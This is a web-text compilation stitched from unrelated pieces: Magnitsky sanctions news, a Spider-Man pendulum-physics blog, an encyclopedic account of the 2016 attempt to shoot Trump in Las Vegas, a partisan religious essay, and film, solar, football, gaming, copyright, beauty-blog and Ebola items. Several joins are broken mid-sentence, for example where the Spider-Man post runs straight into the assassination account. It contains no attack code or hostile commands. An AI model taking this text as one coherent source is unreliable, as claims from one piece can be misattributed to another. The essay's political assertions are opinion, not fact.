The study was published in the Journal of the American Medical Association.President Donald Trump signed an executive order declaring a national emergency related to “serious human rights abuse and corruption around the world” and imposed sanctions on 13 individuals. | Ron Sach-Pool/Getty Images Trump targets human rights abusers with executive order
President Donald Trump cracked down Thursday on individuals and groups that his administration deems to be perpetrators or enablers of human rights abuses and corruption, the first action under a broad sanctions law passed a year ago.
Trump signed an executive order declaring a national emergency related to “serious human rights abuse and corruption around the world” and imposed sanctions on 13 individuals, using his authority under the 2016 Global Magnitsky Act.
Story Continued Below
The Treasury Department sanctioned an additional 39 people and entities for alleged human rights abuses and corruption, for a total of 52 targets. Among those sanctioned is the son of Russia's prosecutor general.
The executive order says “the prevalence and severity of human rights abuse and corruption" outside of the United States "have reached such scope and gravity that they threaten the stability of international political and economic systems.”
The people sanctioned include Yahya Jammeh, former president of Gambia; Slobodan Tesic, an arms dealer in the Balkans; Mukhtar Hamid Shah, a Pakistani surgeon specializing in kidney transplants; Guatemalan Congressman Julio Antonio Juárez Ramírez; and Artem Chaika, the son of Russia’s prosecutor general.
“Today, the United States is taking a strong stand against human rights abuse and corruption globally by shutting these bad actors out of the U.S. financial system,” Treasury Secretary Steven Mnuchin said in a statement.
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The State Department also submitted an annual report to Congress detailing its implementation efforts under the Global Magnitsky Act.
The Global Magnitsky Act is a broader version of the Russia-specific Magnitsky Act, passed in 2012. Both are named after Sergei Magnitsky, a Russian lawyer who died in 2009 under mysterious circumstances, as a prisoner of the Russian government after uncovering corruption.Clearly it looks cool when Spider-Man swings around on his webs. However, does this really save him time?
Once Spider-Man starts swinging, he becomes just like a pendulum. His motion is determined by the length of the web along with the starting angle. From a forces view, there is mostly just the tension in the web and the gravitational force pulling down on him. The key parameters to consider are the swinging angle, the time for one swing and the distance of one swing. Here's a picture.
Before I get too far, let’s think about swinging as a form of transportation.
Tarzan Swing ————
First, there is the Tarzan way of swinging. Tarzan (you know, King of the Jungle) swings on vines instead of webs. He swings until one vine just about gets to it’s highest point and then he grabs another vine. Yes, the vine he grabs would probably be hanging vertically so that he would then start at the bottom of the next swing. This doesn’t seem very efficient so let’s just say he swings on vines and starts and stops at the same speed with the vines pre-set for him such that they are not vertical.
How do you model the motion of a person swinging on a rope like this? You might say “oh hey, it’s just like a pendulum. Pendulums are easy. They have a period of oscillation that depends on the length of the pendulum.” Well, that certainly is true. The time for one oscillation (there and back) is called the period of motion. Tarzan would just go half way (just there) such that he would have a swing time of:
But wait! This expression isn’t really correct. This is just an approximation for small swinging angles (the general rule of thumb is that it works for amplitudes less than 15° from the vertical). How do you get swinging times for larger angles? It’s not such a simple problem (but not impossible either). I like to solve this with a numerical calculation and a bit of python code. If you want to see how to do this, try this older post.
Once I have a working piece of code that can determine the time to swing, I can start to change things like the starting angle and the length of the web. Here is a plot of the average swinging speed for different cases. Oh, what do I mean by average swing speed? This is the distance from the start to the end of the swing (horizontally) divided by the time it takes to get there.
What does this all mean? Well, let’s first look at the 10 meter long web. If you increase the starting angle, you have a greater average speed. Why? Well, this also means that you start at a higher position so that as you move down you speed up more. For a large swing angle, you would be going very fast in the middle of the swing. But this doesn’t work for all angles. You can see that a starting angle of about 80° gives the best average speed for the swing since above that you waste time moving vertically both at the beginning and end of the swing.
What about the length of the web? Obviously, the longer the web the greater the average horizontal speed. Why? A long swing will sweep through a much greater distance in around the same time. Going farther in the same time gives a greater speed.
How about one more plot? What if I use a starting angle of 75° and just change the length? Here is a plot of the average horizontal speed as a function of web length.
So, even with a super-long web (60 meters) the average speed is still around 13m/s (around 30 mph). That’s pretty good, but I bet Spider-Man could run that fast. I mean, he’s Spider-Man.
Spider-Man Modified Swing ————————-
Why would Spider-Man swing like Tarzan? That is the way normal humans swing, but not Spider-Man. He can do better, right? Tarzan starts the swing at rest and then goes through the swing until the vine stops. What would be different about Spider-Man? He will swing and then before the swinging stops, he will let go. This means that he can “fly” through the air and shoot another web. Thus the Spider-Man swing will be a swing followed by a projectile-like motion.
Let me just pick some values and plot the trajectory of something like this.
In this swing, Spider-Man start with an initial speed of 8 m/s on a web that is 20 meters long and at an angle of 45°. The trajectory for this part is the blue stuff (he is moving to the left). Once he gets to the other side of the swing (but not the highest point since then he would be at rest), he lets go of the web and just becomes a projectile motion thing. The green part of the trajectory is the time that he is in the air returning to his release point where he would shoot another web and start all over.
Now I can just look at how far he traveled horizontally and the time this took to get his average horizontal velocity of 15.9 m/s.
This is much better than the maximum speed with a Tarzan-style swing of the same length (about 8 m/s). However, this is mostly due to his high starting speed of 8m/s. In fact if you just look at the part of his motion while one the web, he has an average horizontal speed of 14.3 m/s which is around the same value as the total.
But what’s the answer? Would Spider-Man be better off just running? I am going to say “no”. Why? Well, there is the obvious reason of looking cool while swinging. Also, just imagine Spidey running along the ground to get somewhere. People would try to stop him to say “hi” or get his autograph or something. That’s no way to travel. Also, I suspect that playing around with this Spidey-style swing, I could probably optimize it to get an even greater average speed. Maybe I will just leave that as a homework assignment for
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for a rally to be held in Phoenix, Arizona later the same day in case an opportunity did not arise.[14][15][16] Sandford considered using a knife or rifle before deciding to attempt the assassination using a pistol.[17]
The Treasure Island Hotel and Casino, the scene of the incident
On June 16, 2016, Sandford drove to Las Vegas, where he visited a shooting range and practiced shooting using a rented 9mm Glock-17 pistol. This was the first time Sandford had fired a gun. Due to his status as an illegal alien, the rental of a firearm was illegal.[1][18]
On the evening of June 17, 2016, Sandford joined a queue at the Treasure Island Hotel and Casino for the following day's rally.[1] At 9:00 am the following morning, the approximately 1,500 rally attendees were allowed into the Mystère Theater.[1][19] Due to Trump's political candidacy, the event was under the protection of the United States Secret Service, and magnetometers were used to detect weapons being brought into the venue.[20][21]
As Trump was speaking, Sandford noticed that Ameel Jacob, a police officer with the Las Vegas Metropolitan Police Department who was providing security for the event, appeared to have his 9mm Glock-17 pistol unlocked in its holster. Sandford approached Jacob, who was positioned approximately nine meters (30 feet) from the stage where Trump was speaking, and engaged him in conversation, saying that he wanted Trump's autograph. While talking to Jacob, Sandford "reached down to try and pull the officer's gun but it got stuck in his holster".[22][4][2] Sandford was immediately subdued and arrested by Jacob and two other police officers.[3][4][23][18] Sandford was described as appearing "confused" at the time of his arrest.[5][24]
After being taken into custody by the Las Vegas Metropolitan Police Department, Sandford was handed over to the United States Secret Service.[25] After agreeing to waive his Miranda rights, Sandford was interrogated by two special agents, during which time he stated that his intent had been to shoot Trump, and that he would attempt it again if he were able. Sandford also stated that he had only anticipated being able to fire "one to two" shots and that he had expected to be killed.[26][13]
Trial, sentencing and release
Following his arrest, Sandford was held in the Nevada Southern Detention Center.[5] Due to his mental health conditions, Sandford was kept in solitary confinement and repeatedly put under suicide watch.[12] On June 20, 2016, a complaint was filed with the United States District Court for the District of Nevada charging Sandford with committing an act of violence on restricted ground.[27] Sandford appeared in a Nevada District Court on June 20, 2016, where he was charged with committing an act of violence on restricted ground. Sandford's public defender, Heather Fraley, argued that Sandford should be bailed to a halfway house given his lack of a criminal record, but he was denied bail by judge George Foley Jr. on the basis that he presented a flight risk and was a potential danger to the community.[1][28][29] On June 29, a federal grand jury responded to an indictment filed by United States Attorney Daniel Bogden by charging Sandford with three felonies: two counts of being an illegal alien in possession of a firearm and one count of impeding and disrupting the orderly conduct of government business and official functions.[30] Each charge carried a maximum sentence of 10 years' imprisonment and a fine of $250,000.[31] U.S. Immigration and Customs Enforcement also issued a detainer against Sandford relating to an immigration violation.[32]
Sandford was arraigned on July 7, 2016, pleading not guilty. His trial was set for August 22, 2016.[30] On September 13, 2016, Sandford pleaded guilty in the United States District Court for the District of Nevada to charges of being an illegal alien in possession of a firearm and impeding and disrupting the orderly conduct of government business and official functions, saying "I tried to take a gun from a policeman to shoot someone with, and I'm pleading guilty".[33][34] Prior to his trial, Sandford had, at the urging of his family members, signed a plea agreement that reduced his maximum sentence from 20 years to 27 months.[33][35][23] A third charge of being an illegal alien in possession of a firearm was dropped.[23] Sandford apologized for his actions, saying, "I know saying sorry is not enough. I really do feel awful about what I did. I wish there was some way to make things better. I have cost taxpayers so much money. I feel terrible."[36] Sandford subsequently claimed to have no memory of the assassination attempt.[37]
Sandford was sentenced on December 13, 2016, receiving 12 months and one day's imprisonment.[2] The sentencing judge, James C. Mahan, acknowledged Sandford's mental health issues, stating, "I don't think you harbored malice in your heart... You have a medical problem... I don't see you as evil or a sociopath".[8] The length of the sentence reflected the extenuating circumstances. As the sentence was below 18 months, the prosecution was entitled to appeal, but did not.[38] As part of the plea bargain, Sandford waived his own right to appeal.[23]
Sandford served most of his sentence in the Nevada Southern Detention Center.[24] He was repeatedly placed on suicide watch.[39] In January 2017, Sandford's mother expressed concerns that Trump—by then President of the United States—would seek to extend Sandford's sentence, and stated that Sandford was being harassed by "Trump-supporting guards and inmates".[40] In February 2017, Sandford was relocated to a different jail.[41] Sandford became eligible for early release in April 2017; the following month, he was released from prison and deported to the United Kingdom.[9] Following his release, Sandford's mother lobbied for changes to the Mental Capacity Act that would give parents more control over adult offspring with mental disorders.[4]
Michael Steven Sandford
Michael Steven Sandford (born April 21, 1996, in Dorking, Surrey, England, United Kingdom) is a British citizen.[42][22] During his childhood, Sandford experienced numerous mental and physical health issues, and was diagnosed with autism.[22][43][35][23][36][5][43]
In January 2015, Sandford made a two-week trip to New York City in the United States, during which time he had a mental breakdown and was sectioned overnight.[43] On June 2, 2015, Sandford returned to the United States,[16] leasing an apartment in Hoboken, New Jersey. Over the following months, his behavior became "erratic".[22][43][44][45] His family lost contact with him in May 2016.[46] On May 21, 2016, Sandford's mother contacted the Foreign and Commonwealth Office to report him missing.[43] Sandford's entitlement to remain in the United States under the Visa Waiver Program expired on August 30, 2015.[42][5] Unbeknownst to his family, in May 2016 he had left his apartment and relocated to San Bernardino, California, where he was living in his car[47][36] and supporting himself by working odd jobs.[42]
Following his arrest, Sandford told his father that "if Trump was elected, it would change the world [...] somebody had to stand up for America."[5] He expressed to his father his concern about policies of Trump's such as building a barrier along the United States–Mexico border and halting immigration of Muslims to the United States,[43] calling Trump a racist.[42] Psychiatrists who examined Sandford determined that he had been "delusional" and undergoing a "psychotic episode" at the time of the assassination attempt;[48][49] treating him with the antipsychotic medicine risperidone.[23][50] Following his release, Sandford stated that at this time, "I was hearing voices telling me to kill Donald Trump [...]. At one point they were screaming at me."[4]
Sandford's father stated that the assassination attempt was entirely out of character for his son and suggested that Sandford had been "put up to do it or blackmailed," or that the attempt was a "cry for help".[44] His mother also suggested that the attempt was a bid for help.[43] His grandmother suggested Sandford was attempting suicide by cop.[43] Sandford's mother later suggested that Sandford "was fueled by his girlfriend and friends out there putting ideas in his head saying, 'Trump's evil, Trump must be stopped' and basically we feel grooming him into it".[24]
Reaction and analysis
Trump briefly acknowledged the removal of Sandford from the theater, breaking his speech to say "We love you, police. Thank you. Thank you, officers." as Sandford was arrested,[23] but was unaware that Sandford had intended to kill him until later seeing it reported on television.[51] When asked in an interview with Maria Bartiromo about Sandford allegedly having overstayed in the United States, Trump speculated that there were "millions" of people in the United States who had overstayed their visas, stating, "We have no idea who's in our country."[52] Trump's son, Donald Trump Jr., praised the Las Vegas Metropolitan Police Department and United States Secret Service for protecting his father.[53] Daniel Bogden, the United States Attorney for the District of Nevada, praised the "attentiveness and quick action" of security personnel in foiling the attempt.[23]
The assassination attempt received limited coverage in the American media.[54][10][55] Several journalists and political commentators proposed explanations for this, including the "feebly unsophisticated" and "poorly conceived" nature of the attempt,[54] Trump's own uninterest in making political capital from the event,[54][10] and alleged media bias.[11][56][57][58]
BBC documentary
A documentary about Sandford and his family by Guy Simmonds, The Brit Who Tried to Kill Trump, was commissioned by the BBC. It aired on BBC One in the United Kingdom on January 29, 2017.[12]"It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way – in short, the period was so far like the present period, that some of its noisiest authorities insisted on its being received, for good or for evil, in the superlative degree of comparison only." So begins the famous work of Charles Dickens, A Tale of Two Cities, a vivid historical novel describing that notorious reign of terror known as the French Revolution.
I've been reading a truly chilling book on the French Revolution. It describes in ghastly narrative the enormous evil done in that blood bath. As I have been thinking about why that horror took place, it appears to me to be rooted in a confusion and disagreement about the origin of law; where does law come from? I got to thinking about what people believe today regarding the origin of law, and I found that, today, there are three groupings in America that resemble what the French believed during their ungodly revolution.
First, although perhaps less obvious, are the Monarchist. Those are the people who believe in a new version of the divine right of kings. The resident in the White House believes this view. He says, "I have a pen and I have a telephone." Stating plainly that he is above any law that exists on paper anywhere. In his benighted mind he is the law. Whatever he says law is, that is the law. He not only claims it, but has and continues to act on the belief that his will is the law. Sadly, he is not alone. Thousands across this land are also Monarchists at heart, believing that whatever that man says law is law, is the law.
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The second more obvious group in America is the Advocates of Democracy. They proclaim that law comes from the will of the 51% of the populace who vote. We are told from every source that we are a Democracy; it is relentlessly hammered into every person in this land from the moment of birth. The lie has been so successful that an overwhelming majority believes the lie and is amazed when we teach what the Founders said about the dangers of what they called mobocracy. Mobocracy is nothing more than the law determined by a godless rabble of thieves, murderers and brigands. Our Founders' warnings were clearly illuminated by the fires and blood of the French Revolution.
The third, the greatest concern in our day, is what is clearly emerging in our land, which is the police state. Those who believe that whatever the police state says law is, then that is the law. If they say the 4th Amendment doesn't matter any longer, so they can continue to spy on every American, then that is the law, regardless of what any other authority might say. As police academies across our land produce newly minted shock troops, our land comes closer and closer to descending into a reign of terror. The apparatus includes agencies such as the FBI, CIA, Homeland Security and the NSA. The power of the apparatus of this police state is palpable.
Perhaps you saw the news earlier this month from Maryland. "Eight Republicans in the Maryland House of Delegates introduced the 'Fourth Amendment Protection Act,' which would deny the NSA'material support, participation or assistance in any form' from the state, its political subdivisions or companies with state contracts, US News reported.
The bill would deprive NSA's headquarters in Ft. Meade, Md., water and electricity carried over public utilities, prohibit the use of evidence gathered by the agency in state courts and prevent state universities from partnering with the NSA on research, according to the report."
These legislators were attempting to follow their oath of office. Then very quietly last week that group of eight withdrew the bill from consideration. I wonder what the police state apparatus said or did to the eight that persuaded every last one of them to withdraw that bill?
Friends, we know that real law does not come from the three mentioned above. Rather, real law comes from God, and to pay the price for the violations of His Law, the Lord Jesus Christ took our sins upon His body on that tree. His suffering, His bloodshed paid the full penalty for our sins – the violations of His Law.
Learn more about your Constitution with Pastor David Whitney and the "Institute on the Constitution" and receive your free gift.Rising star Brie Larson is in talks to play Billie Jean King in Fox Searchlight’s “Battle of the Sexes,” Variety has learned.
Steve Carell is currently set to play Bobby Riggs in the tennis drama. Larson would replace Emma Stone, who had to pass on the role due to a scheduling conflict.
“Little Miss Sunshine” filmmakers Jonathan Dayton and Valerie Faris will direct from a script by Simon Beaufoy. Danny Boyle is producing under his Decibel Films banner along with Christian Colson and his company Cloud Eight.
The story of King and Riggs became a zeitgeist event back in 1973, when the 29-year-old No. 2 ranked female star rose to the challenge and beat the 55-year-old retired former Wimbledon champion Riggs.
“Battle of the Sexes” is one of three projects revolving around the infamous tennis match, the other two being the HBO and Playtone pic “Proof” that has Elizabeth Banks and Paul Giamatti starring and Chernin Entertainment and Gary Sanchez’s “Match Maker” with Steve Conrad writing and Will Ferrell attached to play Riggs.
Larson, who last year broke out with indie hit “Short Term 12,” is red hot after her new film “Room” debuted to Oscar buzz at the Telluride and Toronto film festivals. She also has the female lead in “Kong: Skull Island” and just wrapped the Ben Wheatley drama “Free Fire.”
She is repped by WME and Authentic.NEW YORK (Reuters) - Utility Southern California Edison said on Thursday it would spend $875 million to build a network of 250 megawatts of photovoltaic solar power generation, making it the biggest solar cell project in the nation.
SCE, a subsidiary of Edison International, said the photovoltaic cells on 65 million square feet of rooftops in southern California would generate enough power to serve 162,000 homes.
The project, which was submitted to state regulators for approval, is an effort to meet the state’s mandate that 20 percent of California’s electricity be generated from renewable sources by 2010.
Utilities and power companies are increasing their portfolios of renewable energy to meet ever-increasing state demands to help reduce their output of carbon, the greenhouse gas blamed for contributing to rising global temperatures.
At 250 megawatts, the installation would be about half the size of the newest coal or natural gas-fired power generation units.
So far, companies behind the largest solar projects have favored solar thermal technology, in which parabolic mirrors are used to concentrate sunlight to heat a liquid that drives a power-generating turbine.
Photovoltaic technology converts sunlight directly into electricity inside the solar cells.
On Wednesday, FPL Group Inc, the nation’s largest generator of wind and solar power, announced it planned to build a 250-megawatt thermal solar plant in California’s Mojave Desert.
SCE said its new photovoltaic project was possible because recent advances had cut in half the traditional cost of installed solar generation in California.
The utility plans to begin installing the solar arrays immediately on to the rooftops of commercial buildings in southern California’s Inland Empire, San Bernardino and Riverside counties.
“These new solar stations, which we will be installing at a rate of one megawatt a week, will provide a new source of clean energy directly in the fast-growing regions where we need it most,” Edison International Chairman and Chief Executive John Bryson said in a statement.Ron Vlaar has featured in 10 games for Aston Villa so far this season. It total, Vlaar has played 900 minutes of football for Aston Villa, so far this season. In total he has helped keep 3 clean sheet’s for the Aston Villa defence, more than any other Aston Villa defender. It appears an appropriate time to evaluate Vlaar’s progress for Aston Villa so far.
I’ll be looking at some statistics provided by ‘Whoscored’ to analysis Vlaar’s performance in the League so far this season. Vlaar currently holds the 7th best rating for Aston Villa, his average score is 6.94. This doesn’t sound too good, but Vlaar has done more good then bad. Vlaar has one of the best passing success rate at Aston Villa, with a score of 83.6%. What’s more impressive is that Vlaar has completed the second most amount of successful long-ball passes (8.3 per game) and Vlaar has the third highest passing average of 36.6 passes per game.
It get’s even better. In defence Vlaar has improved aspects of his game he struggled with last season. Vlaar doesn’t concede nearly as many fouls as he did last season, per game Vlaar concedes 0.4 fouls. The Dutch man has one of the highest average clearances per game out of any other defender (7.9) and has only gotten dribbled past by 0.3 opponents in all 10 games.
Having said that, Vlaar has won the least amount of offsides (0.8) and has blocked less shots then fellow defenders Clark and Baker (0.6).
Now I want to get away from the statistics and give my own little personal review of Vlaar’s performances. I reckon he’s been our most consistent and arguably, best defender. He has experience, bosses the defence well and has been a rock in the back. I might even go as far and say that he may deserve his title of ‘Concrete Ron’ back. He has built a solid partnership with Clark, Okore and Baker, he has also had to work with Lowton, Bacuna and Luna. Vlaar has added stability to a very-injury prone Villa defence and I have to give credit where it’s due. The only thing I’d want him to do a little bit more, is perhaps threaten a bit more from set pieces. He has scored goals in the past and I hope he can add a few more to his Villa goal tally this season.Not even a full day after the Steelers exit from the playoffs and there have been multiple posts on message boards calling for various players to be cut. Some of the names are not even under contract for 2015 and others are so locked in to contracts there is no chance they will be waived.
We lasted visited the Steelers salary cap situation for 2015 back in August but there have been a few signings since that time that have added to the books for next year. With so many extensions this past off season there are fewer big names facing free agency than in years past although there are still are couple of positions that could be looking for new starters in 2015.
While evaluating the Steelers salary cap position it has been based around a rather conservative estimate of $140 million for 2015. Some NFL observers have suggested it could go as high as $150 million but it seems fair to assume it will not be lower than our conservative estimate so this gives us a worst case scenario to work from.
It is worth noting that this only represent 37 players under contract. With 9 players on the practice squad likely to sign futures contracts along with other free agents to get to 51 players under contract and that cap space quickly goes away. The league minimum in 2015 will be $435,000 - So 14 additional players at minimum salary adds another $6,090,000 to the cap.
In practical terms this means the Steelers will approximately $2 million OVER the cap as they start looking at the 2015 cap.
In no way is this as problematic as it may first appear on paper to get under the cap while still making a run at one or two free agents but what is does show when looking at the numbers above is the high cap dollars being paid to players that are under performing relative to their deals.
The extensions given to both Troy Polamalu and Heath Miller certainly could be questioned given they were due to be entering the final year of their deals this year but now are both under contract for two more seasons at a high rate. Do both Cortez Allen and Mike Mitchell stay on what can be seen as high paying contracts especially if, as in Allen's case, he is not even a starter? Both have deals that could be voided prior to the 2015 season and save paying roster bonuses due early in the new financial year.
Big Ben seems very likely to have his contracted extended, something we will investigate in more detail separately, but any extension should come with significant cap savings in its first year. Cameron Heyward is set to earn a decent wage next year too but is another candidate for a long term extension that could come with cap savings in 2015 as well.
With a number of players along the offensive line entering the final year of their deals some decisions need to be made there although it is more likely David DeCastro has his option picked up like Heyward did this year given the high price he is likely to command.
Cam Thomas looks like a good candidate to be cut given the $2 million in savings that such a cut would come with and the lack of production he put on tape. With the emergence of Bryant does Lance Moore keep his roster spot or does the $1.5 million in cap space he creates have more value elsewhere? Does The Beard have another year left in him, does he even want to play or does the $1.5 million in cap savings without him have more use?
While the playoffs may have been somewhat anti climatic for Steeler fans it would appear the off season will be its usual turbulent self as the front office has a lot of moves to make before the 2015 version of the team can take the field.
Currently the Steelers have the 8th lowest amount of cap space heading into 2015 of all teams in the NFL. The Browns by comparison have $55 million with the 3rd most cap space available and the Ravens the 9th lowest with about $8.5 million in cap space.***UPDATED NOVEMBER 1, 2017*** We've added a new application for Hosted Games!
We’re excited to announce the initial testing phase of our Hosted Games program! From shared social experiences to competitive scrimmages, this program, once fully launched, aims to provide our players with the structure and tools to bring communities together. As Hosted Games enters this testing phase, we’ve invited a few communities from around the world to join us for the pilot program. These communities are part of an evolving list that may change throughout the duration of testing. Want to know how to get involved? Read on below!
HOSTED GAMES CALENDAR
North America
Champions Arena (NA East)
Type: Competitive
Description: Top players from around the world come together to fight in weekly matches.
Schedule: Tuesdays, Thursdays, and Saturdays at 7PM, 7:50PM, and 8:40PM ET
Where to Watch: https://www.twitch.tv/echofox_mini
How to Participate: For more information on how to join, contact Champions Arena on Twitter and ask for an application.
More Info: Twitter
Colada Colosseum (NA East)
Type: Playground/Tournament Hybrid
Description: A cross between fun-filled and competitive, the Colada Colosseum aims to provide a welcoming environment to casual and competitive players with custom games and occasional community tournaments!
Schedule: Wednesdays, Fridays, and Sundays at 3PM, 4PM, 5PM, and 6PM ET
Where to Watch: https://www.twitch.tv/pineaqples
How to Participate: Subscribers to Pineaqples can get a free key; type!colosseum in Twitch chat for full details.
More Info: Twitter
Flamehopper Family Community Games (NA East & NA West)
Type: Playground/Tournament Hybrid
Description: From Stream Snipe Challenges to Solo Tournaments to large scale battles and more, Flamehopper Family Community Games are focused on community, good sportsmanship, positivity, and just having fun!
Schedule: Tuesdays on NA West at 9PM, 9:30PM, 10PM, 10:30PM, 11PM, 11:30PM, 12AM, 12:30AM, and 1AM PT; Thursdays on NA East at 8PM, 9PM, 10PM, 11PM, 12AM, and 1AM PT
Where to Watch: https://www.twitch.tv/flamehopper
How to Participate: Anyone who is subscribed to Flamehopper's Twitch channel is eligible for a key. Simply go to http://groke.se/twitch/flame to redeem your key and you will have access to all hosted Flamehopper Family Community events on Tuesdays and Thursdays.
More Info: Twitter
NFsylvania (NA East)
Type: Playground
Description: NFsylvania is a sandbox playground where CDNThe3rd and his community create and come up with wacky and fun ways to play H1Z1. Usually they will create their own set of rules which the community follows and leads to the most exciting H1Z1 games you will ever see.
Schedule: Tuesdays, Wednesdays, Saturdays, and Sundays at 10PM, 11PM, 12AM, 1AM, and 2AM ET
Where to Watch: https://www.twitch.tv/cdnthe3rd
How to Participate: NFsylvania is only open to subscribers of CDNTheThird. To join, contact a channel moderator through either Discord or Twitch whispers during stream time.
More Info: Twitter
Asia/Pacific
Asia Scrims
Type: Competitive
Description: Top players compete to see who the best in the Asian region is!
Schedule: Tuesdays, Thursdays, and Saturdays at 8PM, 9PM, and 10PM KST
Where to Watch: https://www.twitch.tv/DigRamses
How to Participate: You can apply to play here – the application is open to all players on the Asia/Pacific server, and players will be selected based on analysis of their Solo ranking and match history.
More Info: Website
South America
Brazil Arena Champions
Type: Competitive
Description: Competitive hosted games for the Brazilian community!
Schedule: Mondays, Wednesdays, Fridays, and Saturdays at 8PM, 9PM, and 10PM BRT
Where to Watch: https://www.twitch.tv/brazilarenachampions
How to Participate: You can apply to play here – Brazil Arena Champions will analyze the Solo ranking and matches of everyone that wants to participate.
More Info: Twitter
Europe
RevengeEU
Type: Competitive
Description: RevengeEU is a competitive solo Arena where the best players can come together from Europe and NA and fight it out. The games are shoutcasted and broadcast live on Twitch.
Schedule: Mondays, Wednesdays, and Fridays at 7:15PM, 8:15PM, and 9:15PM CEST; Saturdays and Sundays at 4:15PM, 5:15PM, 6:15PM, and 7:15PM CEST
Where to Watch: https://www.twitch.tv/mountainfps, https://www.twitch.tv/bashti89
How to Participate: You can apply to play here – to be considered you must show your skills in Solos and prove to RevengeEU that you can compete at a top level.
More Info: Twitter
Australia
Outback Arena
Type: Competitive
Description: The best Aussies and Kiwis fight it out in solo competitive matches!
Schedule: Tuesdays, Thursdays, and Saturdays at 7PM, 8PM, and 9PM AEST
Where to Watch: https://www.twitch.tv/outbackarena
How to Participate: You can apply to play here - the application is open to players currently residing in Australia and New Zealand.
More Info: Twitter
HOW DO I JOIN THE HOSTED GAMES PROGRAM?
The Hosted Games program is currently in its initial testing phase, and we’re looking for more communities to add to our calendar on an ongoing basis! If you have an established community with a proven track record of positive engagement, fill out this application to let us know you’re interested and we’ll reach out if you’re a good fit for the program.
Have any Hosted Games questions we didn’t answer here? Let us know on Facebook, Twitter, and Discord!Lord Justice Jackson upheld a previous ruling against news aggregator Meltwater, which said users of the service would require a licence from the Newspaper Licensing Authority (NLA).
In November last year, the High Court ruled that headlines could be considered separate literary works, and thus subject to copyright. The ruling meant that clients of aggregation services that charge for a service would have to pay for a licence. Meltwater appealed the ruling, with the support of the Public Relations Consultants Association.
David Pugh, managing director of the NLA, welcomed the ruling. He said in a statement: “The Court of Appeal has today unequivocally confirmed the ruling of the High Court that online newspapers are copyright protected. It has given a clear declaration that most (if not all) businesses subscribing to a media monitoring service that contains content from online newspapers require a licence.”
Jorn Lyseggen, chief executive of Meltwater, said: “The ability to browse the internet without fear of infringing copyright is a fundamental internet principle. Socity is not served by this ruling.”When it comes to beauty tips and hacks, the first thought that comes to your mind is searching for them on the internet. Traditional Indian beauty tips best come from mothers and grandmothers. However, there have sprouted various Indian beauty blogs that have adeptly managed to combine the traditions with personal and innovative twists. So, here is a list of top 20 Indian beauty blogs that captivate the essence of creative beauty.
Top 20 Indian Beauty Blogs
Peaches and Blush
Mehak’s blog Peaches and Blush is super refreshing and amusing, that advises you on everyday beauty hacks and tricks. Its most popular section is Indian Brides, containing articles like Wedding Vendors, Bridal Files, Real Brides, Bridal Fashion and much more.
The Indian Beauty Blog
Moved by passion, Ritu Rajput manages and creates mettle for her blog, including product reviews, latest fashion trends, fashion and beauty related events in New Delhi, and so on.
Divassence
Divassence strives “to help you as you walk the extra mile to doll-up, look great and feel great”. A cheerful beauty website, Divassence includes DIY beauty tutorials, makeup and cosmetic recommendations, and dressing styles and lots more.
The Indian Spot
Using everyday petty household cooking or eating basics, The Indian Spot
has created contents describing the most effective and beneficial outcomes. From common salt to gram flour, procuring DIY ideas from almost everything lying around your house, The Indian Spot can advise on sustaining your thriving beauty.
Wiseshe – Beauty, Fashion, and Lifestyle
Started in 2010, Wiseshe is another leading beauty blog in India. Wiseshe updates news on latest trends and fashion fiestas. It has a wide and versatile range of topics, from makeup and beauty products to weight loss hacks and hair hacks.
Glamorganic Desi
The queen of organic DIY beauty, Glamorganic Desi is a favourite among Indian women. Glamorganic Desi has implemented the most lucrative DIY ideas to help you cope up with everyday beauty problems using only organic products.
Beauty and the Best
An aspiring beauty guru, Shreya, is the author of this blog. Beauty and the Best features various skin care routines, honest makeup and product reviews and the usual tricks and beauty tips.
Vanity No Apologies (VNA)
Anshita Juneja, the founder of VNA, is one of the top Indian beauty bloggers. Shes has successfully created her beauty blog into a brand with her marketing skills. It stresses on the global reference of its content trying to reach as much beauty enthusiasts as possible.
Love and Other Bugs
Love and Other Bugs has evolved from the friendship of two girlfriends and their mutual fashion enthusiasm. They love to refer to themselves as “bugs” who make the beauty and fashion hacks for young women a lot less difficult.
New Love – Makeup
Managed by a foodie and a beauty blogger, Bhumika Thakkar, has been blogging for more than 6 years now. In her blog, New Love – Makeup, she centers her content around skin care routines, makeup trends and hacks, and product reviews.
Corallista
Named after the coral beauty rage back in 2011, beauty blogger Ankita includes vlogging to share her personal beauty experience in her content along with the usual makeup tutorials, celebrity makeup inspiration and much more.
Beauty and Makeup Love
When Arzoo resorted to creating a beauty blog for spreading her beauty wellness knowledge, she ended up starting a blog of her own. Her blog features numerous beauty benefit tips and makeup tutorials.
Cherry on Top
Cherry on Top strives to spread beauty knowledge based on the personal experiences of the author, Sayantini. She reviews products and provides only the best advice before deciding to buy a beauty product.
Everything That Matters
This is another Indian beauty website that advises you on the effectiveness of a product before you buy it. They provide a thorough and complete review on cosmetic as well as organic products and helps you look the very best.
Indian Beauty Forever
Blogger Niesha has enriched in her content the amazing nail art tutorials, makeup tutorials, eye makeup hacks, beauty posts and lots more.
VanityCaseBox
This blog can become your best friend in no time as it suggests cost-effective and easy makeup tips and tricks to spare you from visiting the salon frequently.
Makeup by Hina
Hina focuses on Indian makeup, fashion and beauty trends. She has a magnetic personality and likes to showcase her feminine side through her beauty knowledge and wellness ideas.
GuiltyBytes
Devina Malhotra’s GuiltyBytes embraces the feminine beauty and prioritizes skin and body wellness. Apart from fashion tips, she creates beauty wellness contents, wedding ideas, honest product reviews and much more.
All She Needs
Debasree Banerjee writes about fashion trends, skincare products, lifestyle and beauty wellness in her All She Needs website.
Gia says that
Gia Kashyap is an aspiring beauty guru. Her blog categories include makeup and beauty tips, travel, lifestyle, product reviews, latest mehndi designs and a few more.In the event that another person in the United States tests positive for Ebola, they could be re-routed to one of a handful of hospitals that are specifically equipped and trained to deal with deadly viruses like Ebola, confirmed Centers for Disease Control and Prevention director Dr. Tom Frieden during a press conference on Oct. 20.
"There’s a need for specialized centers when there is a patient with confirmed Ebola, or a number of patients if that were to happen in the future,” said Frieden, though he did not specify which hospitals would be among the designated group. "We need to increase the margin of safety.”
So far during this outbreak, only four hospitals across the United States have experience treating Ebola patients: Nebraska Medicine, Emory University Hospital, the National Institutes of Health Clinical Center and Texas Health Presbyterian Hospital Dallas.
